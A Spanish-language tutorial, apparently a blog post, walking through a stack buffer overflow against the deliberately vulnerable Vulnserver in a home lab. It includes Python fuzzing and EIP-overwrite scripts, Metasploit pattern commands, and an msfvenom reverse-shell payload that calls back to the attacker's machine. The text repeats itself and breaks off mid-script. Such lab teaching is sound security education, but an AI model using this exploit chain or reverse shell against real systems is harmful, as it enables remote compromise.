Keloke, ganas de aprender un poquito? Pues empecemos.
Aviso: Esto no es un post introductorio del todo, voy a dar muchas cosas por asumidas. Necesitarás un conocimiento básico de sistemas operativos, algo de scripting (en python en este caso), uso de kali y eso. En resumen, si vienes desde 0, puede que no te enteres de una mierda, pero puedes quedarte para ver si adquieres algo. En el caso de que no sepas python, si ya programas en algo, te será fácil de entender, es muy intuitivo.
En el post no voy a explicar paso por paso cómo hacerlo, sino que simplemente voy a enseñar una demostración práctica (mínimamente explicada) y ya. Si luego os interesa cómo hacerlo paso por paso, si no me da pereza hago un post nuevo y lo explico pasito a pasito
Así muy resumido, el buffer overflow consiste en petar un buffer para llegar a modificar datos en otras partes de la memoria.
Para poder entender esto, tengo que enseñaros la anatomía de la memoria:
Estructurado en:
- Kernel (arriba del todo): Encuentro la línea de comandos, variables de entorno, etc. No puede ni leer ni escribir en estas direcciones, sino me pegará un castañazo con un "Segmentation Fault"
- Stack: Crece hacia abajo, es decir, hacia direcciones de memoria más pequeñas. Esto es importante para el buffer overflow. Aquí gasto variables automáticas, return addresses de las llamadas, etc
- Heap: Crece hacia arriba. Usado para alocación de memoria. Los que hayais usado C conocereis funciones como el malloc, por ejemplo. También hay new, free, delete...
- Data: Variables estáticas inicializadas y no inicializadas.
-Text: El segmento de código (read-only)
Ahora, lo importante para el buffer overflow. Nos centraremos en el Stack, así que tendremos que conocer qué coño hay en el stack:
El punto es el espacio del buffer. Esta usado como área de almacenamiento en algunos lenguajes. En teoría, la información colocada en el buffer, no debería ni de coña viajar fuera del buffer mismo. En un buffer overflow, la información del buffer escapa hasta llegar a registros como el EBP y el EIP (el importante)
Demostración de un buffer sin overflow y otro con overflow:
- Buffer lleno, pero sin overflow:
- Buffer lleno con overflow:
¿Por qué es importante el EIP? -> Pues porque con este registro (está en procesador) puedo guardar la dirección de memoria donde empieza mi código malicioso.
En este post os pondré un ejemplo de cómo llego a toquetear el EIP para apuntar a un código que consiga darnos una reverse shell
Por si no lo sabíais: Hay 2 tipos de shells, la reverse shell y la bind shell. En la revers shell queremos que el equipo al que estamos atacando se conecte a nosotros.
Ejemplito rápido:
En la izquierda escucho el puerto en el que se debería hacer una conexión, y en la derecha está la máquina atacada que se conecta a nosotros (luego con el código malicioso haremos eso).
Un ejemplo de buffer overflow sería esto:
En el post, petaremos un servidor vulnerable con A's y luego en uno de los pasos para concretar dónde está el EIP, usaremos B's.
Vale, pero el buffer overflow tiene unos pasos, que son los siguientes:
En la W10 tengo instalados 2 programas. 1. Immunity Debugger, que nos permitirá ejecutar el programa y ver cositas chulas y 2. Vulnserver, que será el servidor vulnerable al que atacaremos. Escribiremos un exploit y conseguiremos una reverse shell.
1. SPIKING
Hago un attach del vulnserver al immunity debugger (todo con admin) y dentro del debugger le doy al play y ya tengo el servidor corriendo en el debugger. Cualquier conexión la veremos entrar.
Detalles:
- Vulnserver por lo general corre en el puerto 9999.
- La IP de la máquina que atacaremos es la 192.168.57.13 y la de la kali es 192.168.57.5
El punto es, que el servidor vulnerable "vulnserver", tiene algunos comandos que vemos si escribimos "HELP". Con spiking vamos a ver cuáles de estos comandos son vulnerables y cuáles no
Usamos netcat para conectarnos al vulnserver:
Nos debería aparecer lo siguiente:
Con un HELP veo qué comandos hay. Enfoco en rojo el comando TRUN porque ese es el vulnerable, ya os lo adelanto. Pero, os enseñaré un ejemplo con TRUN y con STATS que no es vulnerable y veis que pasa con cada uno.
Para la fase de spiking, usaremos "generictcp", que funciona así:
host, puerto, spike script y variables que dejaremos en 0 las dos.
El primer script con el comando no vulnerable, STATS, es algo bastante sencillito:
Lo guardo como stats.spk
Con generic_send_tcp vemos que el fuzzing funciona, pero si vemos el log del vulnserver, vemos que no pasa nada especial.
Pero, si lo hacemos con el TRUN, que es el vulnerable, pasa lo siguiente:
El servidor peta y tienes un "Access Violation". Antes estaba running, recibiendo conexiones, pero luego con esto, pasa de running a Paused:
El servidor ha crasheado. No hay mensaje de error porque se lo come el Immunity Debugger, pero acabamos de comprobar que hay cosas vulnerables. Cosa mala.
Esto es muy importante porque sacamos información muy valiosa de aquí:
En los registros, vemos que se envía el comando TRUN AAAA..., pero la sintaxis es rara y te incluye un "/.:/", cosa que incluiremos luego en el código
Vemos todas las AAA... han hecho overflow desde el buffer, hasta el EBP y hasta el EIP. Lo sabemos porque en hex 414141, sería el equivalente a AAA... (A es 41 en hex)
Hemos llegado al EIP, que es lo importante. Hemos visto que TRUN es vulnerable, ahora podemos pasar a las fase 2
2. FUZZING
Ahora, con un simple script en python, petaremos el servidor con A's hasta que crashee.
Resumen pequeño del código: Tenemos un buffer con 100 A's y un bucle infinito. En ese bucle realizamos conexiones al vulnserver y enviamos los comandos "TRUN /.:/ AA..." con cada vez más A's. Empezamos por 100, luego por 200, luego 300 hasta que pete. Tenemos un delay de 1 segundo entre envío y envío y cuando peta me sale una excepción con el mensaje de en qué byte ha crasheado.
Ahora, la cosa es que a veces no se para del todo el comando, así que en el momento en el que veamos que el vulnserver crashea, hago CTRL+C y lo paro.
IMPORTANTE: Esto va encodeado con .encode(), que hace byte encoding. Esto luego no va del todo, así que tuve que hacer un encoding a mano metiendole "b" delante de las strings, luego lo vereis.
Se vería algo así:
Y vemos que peta el servidor:
como justo peta mas o menos por los 2600 bytes, pues para hacerlo más redondo diremos que ha crasheado a los 3000B.
Vemos en el EAX el puñao de A's que han hecho que pegue un castañazo pero lo que nos importa es el EIP. Ahora tocará encontrar el offset, es decir, en qué puta parte ha reventado esto??
3. ENCONTRANDO EL OFFSET
Para esto, tenemos una herramienta que nos ofrece metasploit, que en kali se encuentra en "/usr/share/metasploit-framework/tools/exploit/pattern_create.rb"
El comando lo usaremos así: "└─$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000", el -l 3000 es la aprox de que crasheó por los 3000 bytes.
El output es un tocho así:
que sigue y sigue... Pues ese offset lo mandaremos al vulnserver para ver keloke. Lo enviaremos con el siguiente script:
Telita el offset.
Es casi igual al anterior, solo que no es un bucle infinito hasta que peta y lo que envío es el payload + el offset.
De aquí sacamos algo MUUUY impoortante, el offset del EIP:
Para encontrar bien el byte en el que se encuentra usaremos otra herramienta de metasploit que se encuentra en "/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb"
El comando quedaría como: "└─$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 386F4337"
voilà, ya tememos el lugar donde empieza el EIP. Osea, que a los 2003 bytes ya puedo controlar el EIP, de puta madre.
4. SOBREESCRIBIENDO EL OFFSET
Sabemos que a los 2003 bytes empieza el EIP. Vimos que el EIP era 386F4337, por lo que sabemos que es 4 Bytes de largo. Vamos a modificarlo con otro script:
Literalmente lo puto mismo casi que antes, solo que en enviamos "shellcode" que es la petada de A's Y AHORA, en el momento de llegar al EIP, le metemos 4 B's (1 byte por B) para completarlo y ver si se modifica correctamente o la hemos cagado sacando el offset.
Reminder: Dijimos que A era 41 en hex, pues B es 42. Por lo que si el EIP se ve como 42424242, es que lo hemos hecho bien, si no pues xD.
Una vez enviado el script, veremos que todo de puta madre, el EIp está como debería:
Solo nos falta encontrar los "bad characters" que pueden joderte el shell, encontrar el módulo correcto y generar el shellcode para ganar nuestro bonito root.
5. ENCONTRANDO LOS BAD CHARS
Tenemos que saber qué caracteres son buenos y malos para el shell. En googleamos "badchars", instalamos la herramienta y tenemos nuestra chuletilla
y sigue hasta llegar a \xff que sería el último.
Correremos todos los caracteres desde x01 hasta xff. Algunos programas, tienen uno de estos caracteres que les hace hacer cosas raras, por eso intentamos evitarlos.
Usaremos otro script de python con esto, que se vería algo así:
Como dije antes, con el .encode() no furula, así que hay que byte encodearlo 1 por 1, por eso está la "b" todo el rato ahí.
El script es lo mismo, petamos el buffer y el EBP con A's, luego el EIP con B's y luego le metemos los bad chars.
En el vulnserver, se vería algo así:
Ahora, seleccionamos el address del ESP y encontraremos estos bad chars examinando el ESP dump:
Un código sin bad chars furula sin interrupción, 01 02 03 ... FF. PEEEERO, uno que sí tiene bad chars, por ejemplo se salta uno, por ejemplo 11 12 el 13 falta 14 15... Pues asumimos que el 13 es un bad char.
Así se vería un servidor con bad chars:
Vemos que va bien 01 02 03 PERO 04 y 05 desaparecen y sigue con 06 07...
Importante: Cuando vemos dos caracteres consecutivos que se han perdido, sólo nos preocuparemos del primer caracter. Por lo que, el 04 es malo pero del 05 no tenemos que preocuparnos.
6. ENCONTRANDO EL MÓDULO CORRECTO
Con esto me refiero a un DLL o algo similar dentro de un programa que no tenga protecciones de memoria.
Para esto usaremos "Mona modules", que con un rápido googleo lo puedo encontrar.
Vemos varias direcciones con False y True. El punto ideal es encontrar todo False. En este caso, con el primero nos vale (essfunc.dll).
Ahora necesitaremos encontrar el opcode equivalente a un salto, que lo haremos con nasm_shell metiendole el comando "JMP ESP" (código de salto en assembly), que nos devolvería el código equivalente en hex que es FFE4.
Lo que hacemos es, que usamos esto como un puntero y saltará a nuestro preciado código malicioso.
Escribimos FFE4 en monay encontramos un puñado de direcciones
Todo lo que vemos son return addresses como el que marco con la flecha "0x625011af". Los escribiremos y los probaremos desde arriba a abajo (top-down) y veremos cuál furula. En este caso 0x625011af va bien.
Usamos otro script en python:
Donde andes llenabamos de B's el EIP, ahora lo llnaremos con "625011af".
Si veis, lo pongo al revés y esto es porque las arquitecturas x86 usan little endian, por lo que guarda el byte de bajo orden en el address más bajo y el byte de mayor orden en el más alto.
Este script hará que el servidor pete y haremos cositas.
En el debugger ponemos un breaking point justo donde se hace el salto:
Lo que significa es, que cuando overfloweemos el programa, se parará en esa parte del código.
Ejecutamos nuestro script en kali y vemos que hemos modificado el EIP de forma victoriosa:
Vemos tambien que ha parado en el breakpoint:
Ahora solo falta la parte chula generar el shell y ganar root.
7. SHELLCODE Y ROOT
El shell lo generaremos con msfvenom de la siguiente manera:
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.57.5 LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00"
Y nos genera otro tocho para copypastearlo en el script de python:
Es bueno ver el tamaño del payload, 351B en este caso, porque en el caso de que trabajemos con un espacio muy limitado, digamos que es de 200B, pues este script no nos valdría pa na.
El script quedaría algo así:
Entonces el shellcode: Parte 1 es para llegar el EIP, la parte 2 es para que el puntero nos redirija a la instrucción de salto y que se ejecute nuestro código que está en la parte tres, con el nombre de "overflow"
Le metemos 32 nops (\x90) como padding, para asegurar que entre el salto y el shellcode el código no interfiere con nada de nada. Si tenemos poco espacio pues usaríamos menos nops, 8 por ejemplo.
Ahora, iniciamos nuestro netcat para que escuche en 4444, que es el puerto que pusimos en el shell en metasploit.
Y luego, al iniciar el script y mandarlo al servidor vemos que tenemos cositas, ¿qué cositas? Pues el puto root:
Espero que no se os haya hecho muy pesado el post. Al que le interese que lo lea. Lo he escrito de una, le haré una revisión y bueno, si encontráis alguna falta pues bueno, es lo que hay, lo importante es que se entiende.
Al final he acabado explicando más de lo que pensaba pero bueno, se puede fragmentar más.
Have fun.
Aviso: Esto no es un post introductorio del todo, voy a dar muchas cosas por asumidas. Necesitarás un conocimiento básico de sistemas operativos, algo de scripting (en python en este caso), uso de kali y eso. En resumen, si vienes desde 0, puede que no te enteres de una mierda, pero puedes quedarte para ver si adquieres algo. En el caso de que no sepas python, si ya programas en algo, te será fácil de entender, es muy intuitivo.
En el post no voy a explicar paso por paso cómo hacerlo, sino que simplemente voy a enseñar una demostración práctica (mínimamente explicada) y ya. Si luego os interesa cómo hacerlo paso por paso, si no me da pereza hago un post nuevo y lo explico pasito a pasito
Así muy resumido, el buffer overflow consiste en petar un buffer para llegar a modificar datos en otras partes de la memoria.
Para poder entender esto, tengo que enseñaros la anatomía de la memoria:
Estructurado en:
- Kernel (arriba del todo): Encuentro la línea de comandos, variables de entorno, etc. No puede ni leer ni escribir en estas direcciones, sino me pegará un castañazo con un "Segmentation Fault"
- Stack: Crece hacia abajo, es decir, hacia direcciones de memoria más pequeñas. Esto es importante para el buffer overflow. Aquí gasto variables automáticas, return addresses de las llamadas, etc
- Heap: Crece hacia arriba. Usado para alocación de memoria. Los que hayais usado C conocereis funciones como el malloc, por ejemplo. También hay new, free, delete...
- Data: Variables estáticas inicializadas y no inicializadas.
-Text: El segmento de código (read-only)
Ahora, lo importante para el buffer overflow. Nos centraremos en el Stack, así que tendremos que conocer qué coño hay en el stack:
El punto es el espacio del buffer. Esta usado como área de almacenamiento en algunos lenguajes. En teoría, la información colocada en el buffer, no debería ni de coña viajar fuera del buffer mismo. En un buffer overflow, la información del buffer escapa hasta llegar a registros como el EBP y el EIP (el importante)
Demostración de un buffer sin overflow y otro con overflow:
- Buffer lleno, pero sin overflow:
- Buffer lleno con overflow:
¿Por qué es importante el EIP? -> Pues porque con este registro (está en procesador) puedo guardar la dirección de memoria donde empieza mi código malicioso.
En este post os pondré un ejemplo de cómo llego a toquetear el EIP para apuntar a un código que consiga darnos una reverse shell
Por si no lo sabíais: Hay 2 tipos de shells, la reverse shell y la bind shell. En la revers shell queremos que el equipo al que estamos atacando se conecte a nosotros.
Ejemplito rápido:
En la izquierda escucho el puerto en el que se debería hacer una conexión, y en la derecha está la máquina atacada que se conecta a nosotros (luego con el código malicioso haremos eso).
Un ejemplo de buffer overflow sería esto:
En el post, petaremos un servidor vulnerable con A's y luego en uno de los pasos para concretar dónde está el EIP, usaremos B's.
Vale, pero el buffer overflow tiene unos pasos, que son los siguientes:
- Spiking → El método que usaremos para encontrar un programa vulnerable.
- Fuzzing → Enviar un puñado de caracteres a un programa para conseguir romperlo (¿cuántos bytes debo enviar para cargármelo?)
- Finding the offset → Una vez lo rompo, debo encontrar dónde se rompió (El offset del EIP)
- Overwriting the EIP → Con ese offset, sobreescribo el EIP y apunto a mi código que hará cositas maravillosas al servidor
- Finding bad characters → Esto es como una limpieza para generar correctamente el código de la shell. Esto se hace examiinando el dump del ESP y viendo cuáles son los "bad characters", cómo interactúan con el shellcode y su importancia.
- Finding the right module → Nos permite evitar protecciones de memoria como DEP, ASLR, etc y encontrar un return address válido.
- Generating shellcode & Root → No tiene mucho misterio, es la mejor parte, donde la máquina que ataco se convierte en mi puta.
En la W10 tengo instalados 2 programas. 1. Immunity Debugger, que nos permitirá ejecutar el programa y ver cositas chulas y 2. Vulnserver, que será el servidor vulnerable al que atacaremos. Escribiremos un exploit y conseguiremos una reverse shell.
1. SPIKING
Hago un attach del vulnserver al immunity debugger (todo con admin) y dentro del debugger le doy al play y ya tengo el servidor corriendo en el debugger. Cualquier conexión la veremos entrar.
Detalles:
- Vulnserver por lo general corre en el puerto 9999.
- La IP de la máquina que atacaremos es la 192.168.57.13 y la de la kali es 192.168.57.5
El punto es, que el servidor vulnerable "vulnserver", tiene algunos comandos que vemos si escribimos "HELP". Con spiking vamos a ver cuáles de estos comandos son vulnerables y cuáles no
Usamos netcat para conectarnos al vulnserver:
nc -nv 192.168.57.13 9999
Nos debería aparecer lo siguiente:
Con un HELP veo qué comandos hay. Enfoco en rojo el comando TRUN porque ese es el vulnerable, ya os lo adelanto. Pero, os enseñaré un ejemplo con TRUN y con STATS que no es vulnerable y veis que pasa con cada uno.
Para la fase de spiking, usaremos "generictcp", que funciona así:
host, puerto, spike script y variables que dejaremos en 0 las dos.
El primer script con el comando no vulnerable, STATS, es algo bastante sencillito:
s_readline();
s_string("STATS");
s_string_variable("0");
Lo guardo como stats.spk
Con generic_send_tcp vemos que el fuzzing funciona, pero si vemos el log del vulnserver, vemos que no pasa nada especial.
Pero, si lo hacemos con el TRUN, que es el vulnerable, pasa lo siguiente:
El servidor peta y tienes un "Access Violation". Antes estaba running, recibiendo conexiones, pero luego con esto, pasa de running a Paused:
El servidor ha crasheado. No hay mensaje de error porque se lo come el Immunity Debugger, pero acabamos de comprobar que hay cosas vulnerables. Cosa mala.
Esto es muy importante porque sacamos información muy valiosa de aquí:
En los registros, vemos que se envía el comando TRUN AAAA..., pero la sintaxis es rara y te incluye un "/.:/", cosa que incluiremos luego en el código
Vemos todas las AAA... han hecho overflow desde el buffer, hasta el EBP y hasta el EIP. Lo sabemos porque en hex 414141, sería el equivalente a AAA... (A es 41 en hex)
Hemos llegado al EIP, que es lo importante. Hemos visto que TRUN es vulnerable, ahora podemos pasar a las fase 2
2. FUZZING
Ahora, con un simple script en python, petaremos el servidor con A's hasta que crashee.
Python:
#!/usr/***/python
import sys, socket
from time import sleep
buffer = "A" * 100
while True:
try:
payload = 'TRUN /.:/' + buffer
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.57.13', 9999))
print("[+] Sending payload....\n" + str(len(buffer)))
s.send((payload.encode()))
s.close()
sleep(1)
buffer = buffer + "A" * 100
except:
print("Fuzzing crashed at %s bytes" % str(len(buffer)))
sys.exit()
Resumen pequeño del código: Tenemos un buffer con 100 A's y un bucle infinito. En ese bucle realizamos conexiones al vulnserver y enviamos los comandos "TRUN /.:/ AA..." con cada vez más A's. Empezamos por 100, luego por 200, luego 300 hasta que pete. Tenemos un delay de 1 segundo entre envío y envío y cuando peta me sale una excepción con el mensaje de en qué byte ha crasheado.
Ahora, la cosa es que a veces no se para del todo el comando, así que en el momento en el que veamos que el vulnserver crashea, hago CTRL+C y lo paro.
IMPORTANTE: Esto va encodeado con .encode(), que hace byte encoding. Esto luego no va del todo, así que tuve que hacer un encoding a mano metiendole "b" delante de las strings, luego lo vereis.
Se vería algo así:
Y vemos que peta el servidor:
como justo peta mas o menos por los 2600 bytes, pues para hacerlo más redondo diremos que ha crasheado a los 3000B.
Vemos en el EAX el puñao de A's que han hecho que pegue un castañazo pero lo que nos importa es el EIP. Ahora tocará encontrar el offset, es decir, en qué puta parte ha reventado esto??
3. ENCONTRANDO EL OFFSET
Para esto, tenemos una herramienta que nos ofrece metasploit, que en kali se encuentra en "/usr/share/metasploit-framework/tools/exploit/pattern_create.rb"
El comando lo usaremos así: "└─$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000", el -l 3000 es la aprox de que crasheó por los 3000 bytes.
El output es un tocho así:
que sigue y sigue... Pues ese offset lo mandaremos al vulnserver para ver keloke. Lo enviaremos con el siguiente script:
Python:
#!/usr/***/python
import sys, socket
offset = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
try:
payload = 'TRUN /.:/' + offset
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.57.13', 9999))
s.send((payload.encode()))
s.close()
except:
print("Error connecting to the server")
sys.exit()
Telita el offset.
Es casi igual al anterior, solo que no es un bucle infinito hasta que peta y lo que envío es el payload + el offset.
De aquí sacamos algo MUUUY impoortante, el offset del EIP:
Para encontrar bien el byte en el que se encuentra usaremos otra herramienta de metasploit que se encuentra en "/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb"
El comando quedaría como: "└─$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 386F4337"
voilà, ya tememos el lugar donde empieza el EIP. Osea, que a los 2003 bytes ya puedo controlar el EIP, de puta madre.
4. SOBREESCRIBIENDO EL OFFSET
Sabemos que a los 2003 bytes empieza el EIP. Vimos que el EIP era 386F4337, por lo que sabemos que es 4 Bytes de largo. Vamos a modificarlo con otro script:
Python:
#!/usr/***/python
import sys, socket
shellcode = "A" * 2003 + "B" * 4
try:
payload = 'TRUN /.:/' + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.57.13', 9999))
s.send((payload.encode()))
s.close()
except:
print("Error connecting to the server")
sys.exit()
Literalmente lo puto mismo casi que antes, solo que en enviamos "shellcode" que es la petada de A's Y AHORA, en el momento de llegar al EIP, le metemos 4 B's (1 byte por B) para completarlo y ver si se modifica correctamente o la hemos cagado sacando el offset.
Reminder: Dijimos que A era 41 en hex, pues B es 42. Por lo que si el EIP se ve como 42424242, es que lo hemos hecho bien, si no pues xD.
Una vez enviado el script, veremos que todo de puta madre, el EIp está como debería:
Solo nos falta encontrar los "bad characters" que pueden joderte el shell, encontrar el módulo correcto y generar el shellcode para ganar nuestro bonito root.
5. ENCONTRANDO LOS BAD CHARS
Tenemos que saber qué caracteres son buenos y malos para el shell. En googleamos "badchars", instalamos la herramienta y tenemos nuestra chuletilla
y sigue hasta llegar a \xff que sería el último.
Correremos todos los caracteres desde x01 hasta xff. Algunos programas, tienen uno de estos caracteres que les hace hacer cosas raras, por eso intentamos evitarlos.
Usaremos otro script de python con esto, que se vería algo así:
Python:
#!/usr/***/env python3
import sys, socket
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
